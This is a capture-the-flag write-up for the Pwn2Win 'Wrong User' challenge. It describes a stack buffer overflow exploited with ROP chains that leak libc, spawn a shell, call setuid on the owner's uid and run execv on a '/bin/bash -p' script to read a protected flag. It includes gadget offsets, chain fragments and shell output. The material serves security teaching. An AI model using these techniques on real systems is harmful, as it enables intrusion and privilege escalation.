Wrong User
Molly invaded an important system of Bloodsuckers and obtained sensitive information. She believes that you are also capable of invading such system and therefore she left a secret message to you. Can you get such message? Maybe you get troubles to get access with the correct user.
Server: nc 10.133.70.1 6666
https://cloud.ufscar.br:8080/v1/AUTH_c93b694078064b4f81afd2266a502511/static.pwn2win.party/wronguser_1e8787242eb826005729b0ba17a925b0782be65190f18a1b8dc4e57756c4e3c4.tar.gz
https://static.pwn2win.party/wronguser_1e8787242eb826005729b0ba17a925b0782be65190f18a1b8dc4e57756c4e3c4.tar.gz
Id: wrong_user
Total solves: 8
Score: 373
Categories: Exploitation
Using radare2 to disassembly the binary:
We have fgets with a very large size 0x400, it reads from the STDIN so we can control what to put in the buffer it’s obvious to see that we have a buffer overflow if we check what kind of protections with checksec:
No stack canary protection, but NX is enabled (Non-Executable Stack) once again we have to use Return Oriented Programming (ROP), the challenge provided the libc.so so we can use to calculate the offsets.
The steps to solve are:
1 | 1 - Overflow the Buffer |
Overflow the Buffer
Well this always the same first we can create a pattern with metasploit:
1 | $ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 |
Now that we got the part of the string pattern that we got from the RSP register we can calculate its offset once again using metasploit:
1 | $ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x62413362 |
Finally the padding we require is 40…
ROP chain to leak libc addresses and return to main
We need to leak a libc address we can do this with puts or printf they are both present in the binary, because of this they will be also be in the GOT (Global Offset Table) as we can check their location addresses using objdump -R ./wrong:
1 | $ objdump -R ./wrong |
We want to get the address that’s stored in the GOT of puts with it we can calculate the offsets to another useful libc functions like system and the offset to the string /bin/sh, to call a function within ROP we need the PLT address we can get them using objdump -dj.plt ./wrong:
1 | $ objdump -dj.plt ./wrong |
Since this is a 64bit binary we need to store the function arguments in registers instead of putting them in the stack, we can do this using ROPGadgets, in x64 the first six parameters are saved in RDI, RSI, RDX, RCX, R8 and R9, if there are more parameters will be saved on the stack. Since puts only has 1 argument we just need a Gadget that pop an address from the stack into the RDI register, ROPGadget can help us finding such a gadget:
1 | $ ROPgadget --binary ./wrong --only "pop|ret" |
The 0x00000000004007f3 : pop rdi ; ret gadget is the one we need, now we just need the address from main so after we run our gadget we can return back to main:
Now that we have everything we need we can start building our ropchain:
Overflow the Buffer again and build a ROP chain to call system(‘/bin/sh’)
Now we have everything we need to calculate other libc addresses we need help from libc.so.6 file they gave us pwntools can help us to get the offsets in a easier way:
1 | BINSH_OFFSET = 0x18cd17 # strings -a -t x libc.so.6 | grep '/bin/sh' |
Now that we have the addresses we need we can start again to build a new ropchain:
Now the full exploit could be written as follows:
1 | from pwn import * |
If you run it you will get a shell to the server:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53python wrong_part1.py
[+] Opening connection to 10.133.70.1 on port 6666: Done
/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py:6: UserWarning: Module hashlib was already imported from /usr/lib/python2.7/hashlib.pyc, but /usr/local/lib/python2.7/dist-packages is being added to sys.path
import pkg_resources
/usr/local/lib/python2.7/dist-packages/unicorn/unicorn.py:6: UserWarning: Module six was already imported from /home/evilgod/.local/lib/python2.7/site-packages/six.pyc, but /usr/lib/python2.7/dist-packages is being added to sys.path
import pkg_resources
[*] '/home/evilgod/Documents/Hacking/ctf/pwn2win/exploitation/WrongUser/wrong'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/evilgod/Documents/Hacking/ctf/pwn2win/exploitation/WrongUser/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hello! What is your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@
Hello! What is your name?
[*] LEAKED PUTS LIBC 0x7fd320e62690
[*] SYSTEM LIBC 0x7fd320e38390
[*] LIBCBASE LIBC 0x7fd320df3000
[*] BINSH ADDRESS 0x7fd320f7fd17
[*] Switching to interactive mode
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@$id
uid=1001(wrong-user) gid=1001(wrong-user) groups=1001(wrong-user)
$ cd home
$ ls
case
molly
ubuntu
wrong-user
$ cd molly
$ ls
flag.txt
wrong
$ cat flag.txt
cat: flag.txt: Permission denied
$ ls -lta
total 13
drwxr-xr-x 6 root root 6 Oct 21 10:25 ..
drwxr-xr-x 2 root molly 7 Aug 31 22:37 .
-rw-r----- 1 molly molly 29 Aug 31 22:37 flag.txt
-rwsr-x--- 1 molly wrong-user 7704 Aug 31 22:27 wrong
-rw-r--r-- 1 root molly 220 Aug 31 22:24 .bash_logout
-rw-r--r-- 1 root molly 3771 Aug 31 22:24 .bashrc
-rw-r--r-- 1 root molly 655 Aug 31 22:24 .profile
So what’s wrong here? We don’t have access to the flag.txt, and happens we got access to the wrong user, there are some problems here, one of them is that in the beginning of the program we can see it’s being run setuid(getuid()) :
This will drop permissions from the as we can see when we did ls -lta the executable has the setuid enabled:1
-rwsr-x--- 1 molly wrong-user 7704 Aug 31 22:27 wrong
Translating this a little bit:1
2
3
4
5
6
7
8
9
10
11
12
13OWNER: Group
-rws r-x
||||---> Execute and setuid bit (both enabled). |||
|||---> Write Permissions(enabled) || \--> Executable permissions (Enabled)
| \---> Read permissions(enabled) | \--> Write Permissions (Disabled)
\---> If it's a directory(disabled) \---> Read Permissions (Enabled)
World:
---
|||
|| \---> Executable permissions (Disabled)
| \---> Write Permissions (Disabled)
\---> Read Permissions (Disabled)
When the setuid is enabled the process will run with owner permissions, but there are some issues that are dropping privileges, the setuid(getuid()) is one of them this is simple to solve we just need to create a ropchain that calls setuid(molly_uid) first we need to find molly’s uid this is easy we can check /etc/passwd :
1 | $ cat /etc/passwd |
Molly’s uid is 1337 writing a ropchain is trivial, we can do it like this:
1 | SETUID = LIBCBASE + libc.symbols['setuid'] |
Now we ran into another problem, system will drop privileges we need to use an alternative exec is perfect for this, but we can’t just do execv(‘/bin/bash’,0x0) if we read the man documentation of /bin/bash :
The explanation from man pages is very clear, we need to provide -p as an argument to /bin/bash, we could do it with a ROPCHAIN but is harder to to find the right gadgets to put more than 1 arguments, since we have local access to the server we can just write a file into /tmp/exp and then execute it with execv(“/tmp/exp”,0x0):
1 | #!/bin/bash -p |
I had some problems to use vim and nano (python interactive shell didn’t work very well with them), so I had to write to script in my machine and convert it into base64, then using echo I wrote the file and decoded it into /tmp/exp:
My machine
1 | $ cat shell |
Server’s machine
1 | $ echo 'IyEvYmluL2Jhc2ggLXAKL2Jpbi9iYXNoIC1wCg==' | base64 -d |
Now we just need to build a ropchain that runs execv(‘/tmp/exp’, 0x0) we can’t use something like we use to system we need the address where /tmp/exp is stored, the trick here is to put this string on the stack and get it’s address from the register RSP, we need to find a gadget like this:
1 | MOV RDI, RSP |
First we need to store the address from execv into RAX, and we need to put the string /tmp/exp into the stack, so when we MOV RDI, RSP, we are going to move the address of the the string into RDI and then CALL RAX. These special gadget is not found in ./wrong binary we actually needed to search it in the libc binary itself! you can use RopGadgets to do it:
We can build an ropchain that does that like this:1
2
3
4
5
6
7MOVCALL_OFFSET = 0x12b845
POPRET_OFFSET = 0x33544
ropchain += p64(LIBCBASE + POPRET_OFFSET) # POP RAX; RET
ropchain += p64(EXECV) # "exec"
ropchain += p64(LIBCBASE + MOVCALL_OFFSET) # MOV RDI, RSP; CALL RAX
ropchain += "/tmp/exp\x00"
The full exploit is:
1 | from pwn import * |
Now if we run it we can see we got the euid from molly and because of that we can read the flag.txt :
1 | $id |
I want to thank the organizers of this CTF for letting me getting access to the VPN to finish this challenge.